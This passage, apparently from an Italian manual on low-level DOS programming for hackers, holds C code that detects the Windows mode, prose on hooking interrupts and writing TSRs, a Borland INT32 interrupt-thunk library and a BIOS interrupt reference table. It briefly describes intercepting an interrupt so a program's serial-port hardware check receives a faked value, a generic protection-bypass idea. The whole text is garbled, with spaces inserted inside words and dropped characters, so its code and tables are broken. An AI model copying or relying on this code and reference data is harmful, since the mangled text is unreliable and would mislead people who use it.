el se i f ( maj == 2)
pr i nt f ( " Runni ng Wi ndows/ 386 2. x\ n" ) ;
el se
pr i nt f ( " Runni ng Wi ndows %u. %02u ( or hi gher ) %s mode\ n" ,
maj ,
mi n,
( mode == REAL_MODE) ? " Real " :
( mode == STANDARD_MODE) ? " St andar d" :
( mode == ENHANCED_MODE) ? " Enhanced" :
/ * don' t know */ " ???" ) ;

i f ( mode == ENHANCED_MODE)
{
unsi gned shor t vm;
/ * cal l 2F/ 1683 t o see i f DOS app r unni ng i n Syst emVM; i f so,
t hi s must be some hacked ver si on of Wi ndows l i ke MSDPMI ,
or we must be r unni ng i nsi de WI NSTART. BAT */
_asmmov ax, 1683h
_asmi nt 2f h
_asmmov vm, bx
i f ( vm== SYSTEM_VM)
pr i nt f ( " Runni ng DOS app i n Syst emVM: "
" Must be WI NSTART. BAT or hacked Wi ndows! \ n" ) ;
el se
pr i nt f ( " VM #%u\ n" , vm) ;
}

/ * coul d al so cal l 2F/ 160C t o check f or Wi ndows i n ROM */

r et ur n mode; / * can be t est ed wi t h ERRORLEVEL */
}
#endi f

SERVIZI DINTERRUPTS BIOS E DOS


Spesso necessar i o i nt er cet t ar e cer t i i nt er r upt s e qui ndi l a cosa f ondament al e
conoscer e l o scopo di quest i .
Al cuni t i pi di pr ogr ammi basano i l l or o modo di f unzi onar e i n r appor t o al
si st ema di gest i one degl i i nt er r upt s.
Nei capi t ol i pr ecedent i avevo r i f er i t o i l f at t o che nei pr i mi 1024 byt es di
memor i a sono r esi dent i gl i i ndi r i zzi dei 256 possi bi l i i nt er r upt s per cui , a
par t e saper e dove sono r esi dent i , sar ebbe possi bi l e set t ar e del l e nost r e
r out i nes al post o di quest i .
Due f unzi oni par t i col ar i del l i nt 21h r i por t ano e set t ano gl i i ndi r i zzi degl i
i nt er r upt s per cui vol endo sf r ut t ar e una di quest e possi bi l i t pot r emmo usar e
quest e al post o di andar e a scr i ver e e l egger e di r et t ament e dal l a memor i a.
Tut t i i pr ogr ammi r esi dent i ( TSR) si basano su quest a met odol ogi a e t r a quest a
t i pol ogi a di pr ogr ammami t r ovi amo anche i Vi r us che i ndi pendent ement e dal f at t o
che come scopi si ano st upi dat e, dal punt o di vi st a t ecni co spesso sono dei
gi ocat t ol i ben f at t i .
Vedr emo anche quest e met odol ogi e che sper o ver r anno ut i l i zzat e per scopi
i nt el l i gent i .
La met odol ogi a per l a scr i t t ur a di quest i i nt er essant e anche per quant o
r i guar da Sof t I ce.
Sof t I ce possi ede uno dei suoi punt i di f or za nei br eakpoi nt .
Gr azi e al l a met odol ogi a degl i i nt er r upt s possi bi l e espander e l e possi bi l i t
dei br eakpoi nt di SI .
Comunque per quest o vi r i mando al capi t ol o r el at i vo a SI .
Quando si scr i ve una f unzi one od una pr ocedur a nor mal ment e quest a vi ene
t er mi nat a medi ant e un i st r uzi one di RET ( r et ur n) .
Le pr ocedur e d i nt er r upt s t er mi nano con l i st r uzi one I RET ( i nt er r upt r et ur n) .
Mol t i l i nguaggi ad al t o l i vel l o possi edono l e speci f i che adat t e per l a scr i t t ur a
di pr ocedur e adat t e per esser e ut i l i zzat e come r out i nes d i nt er r upt anche se
si cur ament e l a scel t a di un l i nguaggi o di f f er ent e dal l assembl er compl i ca cer t e
cose.
Nel l a scr i t t ur a dei pr ogr ammi r esi dent i ( TSR) sor gono al cune pr obl emat i che
l egat e al l a non r i ent r anza del DOS.
A di r e i l ver o quest o er a un pr obl ema esi st ent e nel 1986, anni i n cui scr i ssi un
vol ume di 400 pagi ne dedi cat o al l a scr i t t ur a dei pr ogr ammi r esi dent i i n
Li nguaggi o C.
I l vol ume si i nt i t ol ava Pr ogr ammazi one a basso l i vel l o i n Li nguaggi o C e se vi
i nt er essa si cur ament e l o t r over et e t r a i t est i PD r esi dent i sul l a r et e Fi doNet .
Essendo quest o vol ume un manual e dest i nat o a t r at t ar e t ut t e l e t ecni che che
spesso sono necessar i e agl i hacker vi r i por t o due f i l e che vi per met t er anno di
scr i ver e r out i nes d i nt er r upt i n C.
I nf at t i , com3e di cevo pr i ma, spesso necessar i o i nt er cet t ar l i per modi f i car ne
i l f unzi onament o.
Supponi amo che un pr ogr amma i nt er r oghi una por t a ser i al e per veder e se
at t accat a a quest a qual che st r ano di sposi t i vo har dwar e.
Per r i sol ver e i l pr obl ema sar ebbe suf f i ci ent e esegui r e una r out i ne del t i po:

SALVA LINDIRIZZO DELLINTERRUPT
SETTA COME INDIRIZZO QUELLO DELLA MIA FUNZIONE
QUANDO VIENE CHIAMATA LA MIA FUNZIONE RITORNA IL VALORE CHE DESIDERO

I l seguent e f i l e per compi l at or e Bor l and

INT32.MAK

##############################################################################
# I NT32. MAK
#
# Copyr i ght ( c) 1994 by Bor l and I nt er nat i onal
# Al l r i ght s r eser ved.
#
# Thi s i s a smal l l i br ar y t o be used t o cr eat e t hunks f or i nt er r upt f unct i ons
# i n 32bi t DOS ext ended appl i cat i ons. The i dea i s t o per mi t peopl e t o
# pr eser ve t hei r i nt er r upt f unct i ons wr i t t en i n C/ C++ t o t he gr eat est ext ent
# possi bl e wi t hout addi ng compi l er suppor t . The ar gument l ayout f or
# i nt er r upt f unct i ons suppor t ed her e mat ches t hat of t he pr evi ous Bor l and
# 16bi t i nt er r upt f unct i ons, except t hat t he ar gument s have been wi dened t o
# 32bi t s.
#
# See t he f i l e t . c f or an exampl e of an i nt er r upt f unct i on f or 32bi t s.
#
# We ar e pr ovi di ng a _makeI nt 32Thunk f unct i on whi ch const r uct s a t hunk f or
# t he C/ C++ i nt er r upt f unct i ons whi ch l oads DS and bui l ds t he ar gument f r ame
# as expect ed. Ther e i s an opt i on i n t he t hunk cr eat i on t o al l ow t he t hunk
# t o chai n t o t he ol d handl er once t he user handl er has compl et ed.
#
# voi d * _makeI nt 32Thunk ( voi d * pr oc,
# voi d * dsLoc,
# unsi gned shor t chai nSel ,
# unsi gned l ong chai nOf f set ) ;
#
# Bui l ds a 32bi t i nt er r upt t hunk f or ' pr oc' . ' pr oc' shoul d be an i nt er r upt
# f unct i on decl ar ed as f ol l ows:
#
# voi d i pr oc ( unsi gned l ong ebp, unsi gned l ong edi , unsi gned l ong esi ,
# unsi gned l ong ds, unsi gned l ong es, unsi gned l ong edx,
# unsi gned l ong ecx, unsi gned l ong ebx, unsi gned l ong ebx,
# unsi gned l ong ei p, unsi gned l ong cs, unsi gned l ong f l ags) ;
#
# ' dsLoc' shoul d be a poi nt er t o wher e t he DS whi ch t he i nt er r upt pr ocedur e
# r equi r es i s st or ed. The val ue st or ed t her e wi l l be l oaded i nt o DS bef or e
# your i nt er r upt pr ocedur e i s cal l ed.
#
# ' chai nSel ' i s t he opt i onal sel ect or of t he i nt er r upt r out i ne t hat you want
# t o chai n t o on r et ur n f r omyour f unct i on.
#
# ' chai nOf f set ' i s t he opt i onal of f set of t he i nt er r upt r out i ne t hat you want
# t o chai n t o on r et ur n f r omyour f unct i on. I f t hi s i s 0, t hen no chai ni ng
# wi l l be per f or med, and t he t hunk wi l l r et ur n wi t h an I RET i nst r uct i on. I f
# ' chai nOf f set ' i s non- zer o, t hen t he t hunk wi l l chai n t o t he i nt er r upt
# r out i ne at chai nSel : chai nOf f set wi t h a 48bi t j ump on r et ur n f r om your
# handl er .
#
# The r et ur n val ue i s ei t her a t hunk addr ess whi ch you can use i n cal l s t o
# set pr ot ect ed mode i nt er r upt vect or s, or NULL ( i n t he case of f ai l ur e) .
#
# Not e t hat t he t hunk r et ur ned i s not al l ocat ed f r oma l ocked page. I f you
# r equi r e t hat t he page be l ocked, you wi l l have t o l ock i t your sel f wi t h
# DPMI cal l 600.
#
# Use ' MAKE - f i nt 32 al l ' t o bui l d t he l i b and t he exampl e
#
##############################################################################

LI B_DEP = PFXi 32t . obj \
PFXi nt 32. obj

#DEBUG = - v

al l : i nt 32. l i b t est i nt . exe

i 32t . obj : i 32t . asm
t asm32 / ml / m2 i 32t

i nt 32. obj : i nt 32. c
bcc32 - WX - c - w $( DEBUG) i nt 32. c

i nt 32. l i b: $( LI B_DEP: PFX=)
t l i b i nt 32. l i b @&&|
$( LI B_DEP: PFX=- +)
|

t est i nt . exe: i nt 32. l i b t est i nt . obj
t l i nk32 / ax $( DEBUG) / L$( MAKEDI R) \ . . \ l i b c0x32 t est i nt , t est i nt , , i nt 32
dpmi 32 cw32 i mpor t 32

t est i nt . obj : t est i nt . c
bcc32 - WX - c - w $( DEBUG) t est i nt . c

INT32.H


#i f ndef __I NT32_H
#def i ne __I NT32_H

voi d * _makeI nt 32Thunk ( voi d *pr oc, voi d *dsLoc, unsi gned shor t chai nSel ,
unsi gned l ong chai nOf f set ) ;

#endi f

INT32.C

/ *- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
/ * */
/ * I NT32. C - Sour ce code f or I NT32. LI B */
/ * */
/ * Copyr i ght ( c) 1994 by Bor l and I nt er nat i onal */
/ * Al l Ri ght s Reser ved */
/ * */
/ * Thi s l i br ar y al l ows i nt er r upt handl er s t o be wr i t t en i n C or */
/ * */
/ * */
/ * */
/ * */
/ *- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */


#i ncl ude <st dl i b. h>
#i ncl ude <mem. h>

#i ncl ude " i nt 32. h"

ext er n char _i nt er r upt 32Thunk [ ] ;
ext er n i nt _i nt er r upt 32ThunkSi ze;
ext er n i nt _I 32TdsLoadLabel ;
ext er n i nt _I 32Tcal l Label ;
ext er n i nt _I 32Tchai nCmp;
ext er n i nt _I 32Tchai nLabel ;
ext er n i nt _I 32Tchai nOf f set ;
ext er n i nt _I 32Tchai nSel ;

st at i c i nt i nt er r upt 32ThunkSi ze = ( i nt ) &_i nt er r upt 32ThunkSi ze;
st at i c i nt I 32TdsLoadLabel = ( i nt ) &_I 32TdsLoadLabel ;
st at i c i nt I 32Tcal l Label = ( i nt ) &_I 32Tcal l Label ;
st at i c i nt I 32Tchai nCmp = ( i nt ) &_I 32Tchai nCmp;
st at i c i nt I 32Tchai nLabel = ( i nt ) &_I 32Tchai nLabel ;
st at i c i nt I 32Tchai nOf f set = ( i nt ) &_I 32Tchai nOf f set ;
st at i c i nt I 32Tchai nSel = ( i nt ) &_I 32Tchai nSel ;

#def i ne adj ust ( wher e, what ) ( *( char **) ( t hunk + ( wher e) ) ) += ( what )
#def i ne st ampDD( wher e, what ) *( voi d**) ( t hunk + ( wher e) ) = ( what )
#def i ne st ampDW( wher e, what ) *( unsi gned shor t *) ( t hunk + ( wher e) ) = ( what )

voi d * _makeI nt 32Thunk ( voi d *pr oc, voi d *dsLoc, unsi gned shor t chai nSel ,
unsi gned l ong chai nOf f set )
{
char *t hunk;

t hunk = ( char *) mal l oc ( i nt er r upt 32ThunkSi ze) ;
i f ( t hunk)
{
memcpy ( t hunk, _i nt er r upt 32Thunk, i nt er r upt 32ThunkSi ze) ;
st ampDD ( I 32TdsLoadLabel , dsLoc) ;
st ampDD ( I 32Tcal l Label , ( char *) ( ( ( char *) pr oc) - ( t hunk +
I 32Tcal l Label + 4) ) ) ;
adj ust ( I 32Tchai nCmp, ( ( unsi gned l ong) t hunk) - ( ( unsi gned
l ong) _i nt er r upt 32Thunk) ) ;
adj ust ( I 32Tchai nLabel , ( ( unsi gned l ong) t hunk) - ( ( unsi gned
l ong) _i nt er r upt 32Thunk) ) ;
st ampDD ( I 32Tchai nOf f set , ( voi d *) chai nOf f set ) ;
st ampDW ( I 32Tchai nSel , chai nSel ) ;
}

r et ur n t hunk;
}

INT32.ASM

. 386p
l ocal s


_DATA segment dwor d publ i c ' DATA' use32
assume cs: _DATA

dummy pr oc near

@@st ar t Thunk l abel byt e

PUBLI C __i nt er r upt 32Thunk

__i nt er r upt 32Thunk l abel byt e

push eax
push ebx
push ecx
push edx
push es
push ds
push esi
push edi
push ebp

mov ds, wor d pt r cs: [ 012345678h]

PUBLI C __I 32TdsLoadLabel
__I 32TdsLoadLabel EQU $ - @@st ar t Thunk - 4

db 0e8h
dd 0

PUBLI C __I 32Tcal l Label

__I 32Tcal l Label EQU $ - @@st ar t Thunk - 4

pop ebp
pop edi
pop esi
pop ds
pop es
pop edx
pop ecx
pop ebx
pop eax

cmp dwor d pt r chai nOf f set , 0
PUBLI C __I 32Tchai nCmp
__I 32Tchai nCmp EQU $ - @@st ar t Thunk - 5
j ne @@chai n
@@i r et :
i r et

@@chai n:
j mp f wor d pt r [ chai nOf f set ]

PUBLI C __I 32Tchai nLabel
__I 32Tchai nLabel EQU $ - @@st ar t Thunk - 4

PUBLI C __I 32Tchai nOf f set
__I 32Tchai nOf f set EQU $ - @@st ar t Thunk

chai nOf f set l abel dwor d
dd 0

PUBLI C __I 32Tchai nSel
__I 32Tchai nSel EQU $ - @@st ar t Thunk
dw 0

PUBLI C __i nt er r upt 32ThunkSi ze

__i nt er r upt 32ThunkSi ze EQU $ - @@st ar t Thunk

dummy endp

_DATA ends

end

Non mi pr ol ungher nel l a t eor i a anche se di f at t o non per nul l a compl i cat a.
Al cuni i nt er r upt s svol gono pi f unzi oni l e qual i vengono sel ezi onat e i nser endo
dent r o ad apposi t i r egi st r i i val or i i donei .
Gener al ment e AX nel passaggi o di val or i l egat i al t i po di f unzi one r i chi est a ha
un r uol o pr i mar i o.
I nol t r e gl i i nt er r upt s si at t engono al l e r egol e gener al i del l e f unzi oni ovver o
spesso possi edono ar goment i i n i ngr esso e mol t e vol t e r est i t ui scono det er mi nat i
val or i .
Nel l a t abel l a seguent e sono r i por t at i i ser vi zi d i nt er r upt s e gl i usi dei
r egi st r i .


I NTERRUPTS ROM BI OS

ROM PRINT SCREEN SERVICE [int 05]
i n: none
out : 0050: 0000 = st at us code
00 = r eady
01 = busy
FF = pr evi ous oper at i on not compl et ed successf ul l y


ROM VIDEO SERVICES [int 10]

WRI TE VI DEO MODE - r om_vi d
i n: ah = wr _vi d_mode [ 00]
al = mode 00 = 40 X 25 t ext 16 gr ey \
01 = 40 X 25 t ext 16/ 8 col or |
02 = 80 X 25 t ext 16 gr ey |
03 = 80 X 25 t ext 16/ 8 col or | CGA
04 = 320 X 200 gr aphi cs 4 col or |
05 = 320 X 200 gr aphi cs 4 gr ey |
06 = 640 X 200 gr aphi cs b/ w /
07 = 80 X 25 t ext b/ w | MDA
08 = 160 X 200 gr aphi cs 16 col or \
09 = 320 X 200 gr aphi cs 16 col or | PC- J R
0A = 640 X 200 gr aphi cs 4 col or /
0D = 320 X 200 gr aphi cs 16 col or \
0E = 640 X 200 gr aphi cs 16 col or | EGA
0F = 640 X 350 gr aphi cs 4 col or /
out : none

WRI TE CURSOR SI ZE - r om_vi d
i n: ah = wr _cur _si ze [ 01]
ch = st ar t l i ne CGA = 0 t o 7, def aul t = 6, 7
cl = end l i ne MDA = 0 t o 13, def aul t = 12, 13
out : none
not es: Set t i ng ch bi t 5 causes cur sor t o di sappear . I f st ar t l i ne
i s l ess t han end l i ne, a nor mal si ngl e par t cur sor i s cr eat ed.
I f st ar t l i ne i s gr eat er t han end l i ne, a t wo par t cur sor i s
cr eat ed.

WRI TE CURSOR POSI TI ON - r om_vi d
i n: ah = wr _cur _pos [ 02]
bh = page ( 0 f or gr aphi cs modes)
dh = r ow
dl = col
out : none
not es: Wr i t i ng cur sor t o an of f scr een posi t i on causes i t t o
di sappear .

READ CURSOR POSI TI ON - r om_vi d
i n: ah = r d_cur _pos [ 03]
out : bh = page ( 0 f or gr aphi cs modes)
ch = st ar t l i ne
cl = end l i ne
dh = r ow
dl = col

READ LI GHT PEN POSI TI ON - r om_vi d
i n: ah = r d_pen_pos [ 04]
out : ah = pen t r i gger swi t ch
1 = t r i gger ed
0 = not t r i gger ed
bx = pi xel col
ch = pi xel r ow
dh = char r ow
dl = char col

WRI TE ACTI VE PAGE - r om_vi d
i n: ah = wr _act _page [ 05]
al = page
out : none

PC- J R WRI TE ACTI VE PAGE - r om_vi d
i n: ah = wr _act _page [ 05]
al = 80
out : bh = CRT r eg
bl = CPU r eg

i n: ah = wr _act _page [ 05]
al = 81
bl = CPU r eg
out : bh = CRT r eg
bl = CPU r eg

i n: ah = wr _act _page [ 05]
al = 82
bh = CRT r eg
out : bh = CRT r eg
bl = CPU r eg

i n: ah = wr _act _page [ 05]
al = 83
bh = CRT r eg
bl = CPU r eg
out : bh = CRT r eg
bl = CPU r eg

SCROLL WI NDOWUP - r om_vi d
i n: ah = scr ol l _up [ 06]
al = l i nes ( 0 = al l )
bh = col or at t r i but e
bi t 7 = bl i nk
bi t 6 = backgnd r ed
bi t 5 = backgnd gr een
bi t 4 = backgnd bl ue
bi t 3 = f or egnd i nt ensi t y
bi t 2 = f or egnd r ed
bi t 1 = f or egnd gr een
bi t 0 = f or egnd bl ue
ch = upper r ow
cl = l ef t col
dh = l ower r ow
dl = r i ght col
out : none

SCROLL WI NDOWDOWN - r om_vi d
i n: ah = scr ol l _down [ 07]
al = l i nes ( 0 = al l )
bh = col or at t r i but e ( see scr ol l _up)
ch = upper r ow
cl = l ef t col
dh = l ower r ow
dl = r i ght col
out : none

READ CHARACTER AND ATTRI BUTE - r om_vi d
i n: ah = r d_char _at t r [ 08]
bh = page
out : al = char
ah = col or at t r i but e ( see scr ol l _up)

WRI TE CHARACTER AND ATTRI BUTE - r om_vi d
i n: ah = wr _char _at t r [ 09]
al = char
bh = page
bl = col or at t r i but e ( see scr ol l _up)
cx = char s
out : none
not es: Cur sor i s not moved.

WRI TE CHARACTER - r om_vi d
i n: ah = wr _char [ 0A]
al = char
bh = page
bl = gr aphi cs mode col or
cx = char s
out : none
not es: Cur sor i s not moved.

WRI TE COLOR PALETTE - r om_vi d
i n: ah = wr _col _pal [ 0B]
bh = pal et t e i d
bl = col or
out : none

WRI TE PI XEL - r om_vi d
i n: ah = wr _pi xel [ 0C]
al = col or
cx = pi xel col
dl = pi xel r ow
out : none

READ PI XEL - r om_vi d
i n: ah = r d_pi xel [ 0D]
cx = pi xel col
dl = pi xel r ow
out : al = col or

WRI TE TTY CHARACTER - r om_vi d
i n: ah = wr _t t y [ 0E]
al = char
bl = gr aphi cs mode col or
out : none

READ VI DEO MODE - r om_vi d
i n: ah = r d_vi d_mode [ 0F]
out : ah = wi dt h i n char s
al = vi deo mode
bh = page ( 0 f or gr aphi cs modes)

PC- J R WRI TE COLOR PALETTE REGI STER - r om_vi d
i n: ah = wr _pal _r eg [ 10]
al = 00
bh = pal et t e val ue
bl = pal et t e r eg
out : none

i n: ah = wr _pal _r eg [ 10]
al = 01
bh = bor der col or
out : none

PC- AT WRI TE STRI NG - r om_vi d
i n: ah = wr _st r i ng [ 13]
al = cur sor movement swi t ch
00 = no
01 = yes
bl = col or at t r i but e ( see scr ol l _up)
bh = page
dx = st ar t cur sor posi t i on
cx = st r i ng l engt h
es: bp = st r i ng poi nt er
out : none


ROM EQUIPMENT SERVICE [int 11]
i n: none
out : ax bi t set t i ngs = equi pment l i st
0 = di sk dr i ve
1 = mat h copr ocessor
2, 3 = syst emboar d RAM i n 16k bl ocks
4, 5 = i ni t i al vi deo mode
00 = unused
01 = 40 X 25 col or
10 = 80 X 25 col or
11 = 80 X 25 b/ w
6, 7 = number of di sk dr i ves
8 = DMA not pr esent
9, 10, 11 = number of RS232 car ds i n syst em
12 = game I / O pr esent
13 = ser i al pr i nt er pr esent
14, 15 = number of pr i nt er s pr esent


r om_mem ROM MEMORY SI ZE SERVI CE [ i nt 12]
i n: none
out : ax = si ze i n K


ROM DISKETTE SERVICES [int 13]

RESET DI SKETTE SYSTEM - r om_di sk
i n: ah = r st _di sk [ 00]
out : none

READ DI SKETTE STATUS - r om_di sk
i n: ah = r d_di sk_st at [ 01]
out : al = r et ur n code
01 = bad command
02 = addr ess mar k not f ound
03 = wr i t e pr ot ect ed
04 = sect or not f ound
06 = no di sk
08 = DMA over r un
09 = DMA acr oss 64K boundar y
10 = bad CRC
20 = cont r ol l er f ai l ed
40 = seek f ai l ed
80 = t i me out

READ DI SKETTE SECTOR - r om_di sk
i n: ah = r d_di sk_sect [ 02]
al = sect or s t o r ead
ch = t r ack
cl = sect or
dh = head
dl = dr i ve
es: bx = buf f er poi nt er
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )
al = sect or s r ead

WRI TE DI SKETTE SECTOR - r om_di sk
i n: ah = wr _di sk_sect [ 03]
al = sect or s t o wr i t e
ch = t r ack
cl = sect or
dh = head
dl = dr i ve
es: bx = buf f er poi nt er
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )
al = sect or s wr i t t en

VERI FY DI SKETTE SECTOR - r om_di sk
i n: ah = ver _di sk_sect [ 04]
al = sect or s t o ver i f y
ch = t r ack
cl = sect or
dh = head
dl = dr i ve
es: bx = buf f er poi nt er
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )
al = sect or s ver i f i ed

FORMAT DI SKETTE TRACK - r om_di sk
i n: ah = f mt _di sk_t r k [ 05]
al = sect or s t o f or mat
ch = t r ack
cl = sect or
dh = head
dl = dr i ve
es: bx = f our byt e addr ess f i el d poi nt er
byt e 1 = t r ack
byt e 2 = head
byt e 3 = sect or
byt e 4 = byt es/ sect or
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )
al = sect or s f or mat t ed

PC- AT READ DI SKETTE PARAMETERS - r om_di sk
i n: ah = r d_di sk_par m[ 08]
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )
dl = dr i ves
dh = max si des
cl = max sect or s
ch = max t r acks

PC- AT I NI TI ALI ZE DI SKETTE PARAMETERS - r om_di sk
i n: ah = i ni t _di sk_par m[ 09]
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )
i nt 41 vect or poi nt s t o dr i ve 0 t abl e
i nt 46 vect or poi nt s t o dr i ve 1 t abl e

PC- AT READ DI SKETTE LONG - r om_di sk [ 0A]
i n: ah = r d_di sk_l ong
ch = cyl i nder
cl = sect or
dh = head
dl = dr i ve
es: bx = buf f er poi nt er
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT WRI TE DI SKETTE LONG - r om_di sk
i n: ah = wr _di sk_l ong [ 0B]
ch = sect or
dh = head
dl = dr i ve
es: bx = buf f er poi nt er
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT SEEK DI SKETTE TRACK - r om_di sk
i n: ah = di sk_seek [ 0C]
ch = sect or
dh = head
dl = dr i ve
es: bx = buf f er poi nt er
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT ALTERNATE DI SKETTE RESET - r om_di sk
i n: ah = al t _r eset _di sk [ 0D]
dl = dr i ve
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT TEST FOR DI SKETTE READY - r om_di sk
i n: ah = t est _di sk_r dy [ 10]
dl = dr i ve
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT RECALI BRATE DI SKETTE - r om_di sk
i n: ah = r ecal _di sk [ 11]
dl = dr i ve
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT DI SKETTE DI AGNOSTI CS - r om_di sk
i n: ah = di sk_di ag [ 14]
out : cf = er r or
ah = r et ur n code ( see r d_di sk_st at )

PC- AT READ DI SKETTE TYPE - r om_di sk
i n: ah = r d_di sk_t ype [ 15]
dl = dr i ve
out : ah = di sk t ype
00 = no di sk
01 = di sk, no change det ect or pr esent
02 = di sk, change det ect or pr esent
03 = f i xed di sk
cx, dx = number of 512 byt e sect or s

PC- AT CHANGE DI SKETTE STATUS - r om_di sk
i n: ah = chg_di sk_st at [ 16]
out : ah = change st at us
00 = no change
01 = change
dl = dr i ve

PC- AT WRI TE DI SKETTE TYPE - r om_di sk
i n: ah = wr _di sk_t ype [ 17]
al = di sk t ype
00 = no di sk
01 = r egul ar di sk i n r egul ar dr i ve
02 = hi gh capaci t y di sk i n hi gh capaci t y dr i ve
out : none


ROM SERIAL PORT SERVICES [int 14]

I NI TI ALI ZE SERI AL PORT - r om_ser i al
i n: ah = i ni t _por t [ 00]
al bi t set t i ngs = por t conf i gur at i on
0, 1 = wor d l engt h
10 = 7 bi t s
11 = 8 bi t s
2 = st op bi t s
0 = 1
1 = 2
3, 4 = par i t y
00 = none
01 = odd
10 = none
11 = even
5, 6, 7 = baud r at e
000 = 110
001 = 150
010 = 300
011 = 600
100 = 1200
101 = 2400
110 = 4800
111 = 9600 ( 4800 on PC- J R)
dx = por t
out : ah bi t s = usar / t st at us
0 = dat a r eady
1 = over r un er r or
2 = par i t y er r or
3 = f r ami ng er r or
4 = br eak det ect
5 = t x r eady
6 = t x empt y
7 = t i meout
al bi t s = modemst at us
0 = del t a CTS
1 = del t a DSR
2 = t r ai l i ng edge r i ng det ect ed
3 = del t a car r i er det ect
4 = CTS
5 = DSR
6 = r i ng det ect
7 = car r i er det ect

TRANSMI T CHARACTER - r om_ser i al
i n: ah = t x_char [ 01]
al = char
dx = por t
out : ah bi t s = usar / t st at us ( see i ni t _por t )
al bi t s = modemst at us ( see i ni t _por t )


RECEI VE CHARACTER - r om_ser i al
i n: ah = r x_char [ 02]
dx = por t
out : al = char
ah bi t s = usar / t st at us ( see i ni t _por t )

READ SERI AL PORT STATUS - r om_ser i al
i n: ah = r d_por t _st at [ 03]
out : ax bi t s = st at us ( see i ni t _por t )



ROM DEVICE SERVICES [int 15]

TURN CASSETTE MOTOR ON - r om_dev
i n: ah = cass_on [ 00]
out : none

TURN CASSETTE MOTOR OFF - r om_dev
i n: ah = cass_of f [ 01]
out : none

READ CASSETTE DATA BLOCK - r om_dev
i n: ah = cass_r d [ 02]
cx = byt e count
es: bx = buf f er poi nt er
out : cf = er r or
dx = byt e count
es: bx = poi nt er past l ast byt e

WRI TE CASSETTE DATA BLOCK - r om_dev
i n: ah = cass_wr [ 03]
cx = byt e count
es: bx = buf f er poi nt er
out : es: bx = poi nt er past l ast byt e

PC- AT OPEN DEVI CE - r om_dev
i n: ah = open_dev [ 80]
bx = i d
cx = pr ocess t ype
out : none

PC- AT CLOSE DEVI CE - r om_dev
i n: ah = cl ose_dev [ 81]
bx = devi ce i d
cx = pr ocess t ype
out : none

PC- AT TERMI NATE DEVI CE - r om_dev
i n: ah = t er m_dev [ 82]
bx = devi ce i d
out : none

PC- AT EVENT WAI T - r om_dev
i n: ah = event _wai t [ 83]
al = subser vi ce
0 = set i nt er val
1 = cancel
es: bx = buf f er poi nt er
cx, dx = mi cr oseconds t o wai t
out : none

PC- AT J OYSTI CK - r om_dev
i n: ah = j oyst i ck [ 84]
dl = 0
out : al = cur r ent swi t ch set t i ngs

PC- AT Sys Req KEY - r om_dev
i n: ah = sys_r eq [ 85]
al = swi t ch
00 = pr ess
01 = br eak
out : none

PC- AT WAI T - r om_dev
i n: ah = wai t [ 86]
cx, dx = mi cr oseconds t o wai t
out : none

PC- AT MOVE BLOCK - r om_dev
i n: ah = move_bl ock [ 87]
cx = wor ds t o move
es: si = t abl e poi nt er
out : none

PC- AT READ EXTENDED MEMORY SI ZE - r om_dev
i n: ah = r d_ext _mem[ 88]
out : none

PC- AT SWI TCH TO VI RTUAL MEMORY - r om_dev
i n: ah = vi r t ual _mem[ 89]
out : none

PC- AT DEVI CE BUSY LOOP - r om_dev
i n: ah = dev_busy [ 90]
al = t ype code
out : none

PC- AT SET FLAG AND COMPLETE SERVI CE - r om_dev
i n: ah = compl et e_i nt [ 91]
al = t ype code
out : none


ROM KEYBOARD SERVICES [int 16]

READ KEYBOARD - r om_key
i n: ah = r d_key [ 00]
out : ah = scan code
al = char code

TEST KEYBOARD - r om_key
i n: ah = t est _key [ 01]
out : zf = key r eady
out : ah = scan code
al = char code

READ SHI FT STATUS - r om_key
i n: ah = r d_shi f t [ 02]
out : al bi t s = shi f t st at us
0 = r i ght shi f t
1 = l ef t shi f t
2 = ct r l
3 = al t
4 = scr ol l l ock
5 = numl ock
6 = caps l ock
7 = i nser t

PC- J R TYPEMATI C DELAY - r om_key
i n: ah = key_del ay [ 03]
al = oper at i on code
00 = r eset del ays
01 = i ncr ease i ni t i al del ay
02 = i ncr ease cont i nue del ay
03 = i ncr ease bot h del ays
04 = t ur n of f t ypemat i c
out : none

PC- J R KEYBOARD CLI CK - r om_key
i n: ah = key_cl i ck [ 04]
al = oper at i on code
00 = cl i ck of f
01 = cl i ck on
out : none


ROM PRINTER SERVICES [int 17]

PRI NT CHARACTER - r om_pr i nt
i n: ah = pr i nt _char [ 00]
al = char
out : ah bi t s = r et ur n code
0 = t i meout
1 = unused
2 = unused
3 = I / O er r or
4 = sel ect ed
5 = no paper
6 = ack
7 = not busy

I NI TI ALI ZE PRI NTER - r om_pr i nt
i n: ah = i ni t _pr i nt [ 01]
out : ah bi t s = r et ur n code ( see pr i nt _char )

READ PRI NTER STATUS - r om_pr i nt
i n: ah = r d_pr i nt _st at [ 02]
out : ah bi t s = r et ur n code ( see pr i nt _char )



ROM START BASIC SERVICE [int 18]


ROM REBOOT SERVICE [int 19]


ROM REAL TIME CLOCK SERVICES [int 1A]

READ CLOCK COUNT - r om_t i me
i n: ah = r d_count [ 00]
out : al = mi dni ght
cx: dx = t i cks

WRI TE CLOCK COUNT - r om_t i me
i n: ah = wr _count [ 01]
cx: dx = t i cks
out : none

PC- AT READ TI ME - r om_t i me
i n: ah = r d_t i me [ 02]
out : ch = hour s
cl = mi nut es
dh = seconds

PC- AT WRI TE TI ME - r om_t i me
i n: ah = wr _t i me [ 03]
ch = hour s
cl = mi nut es
dh = seconds
out : none

PC- AT READ DATE - r om_t i me
i n: ah = r d_dat e [ 04]
out : dl = day
dh = mont h
cl = year
ch = cent ur y ( 19/ 20)

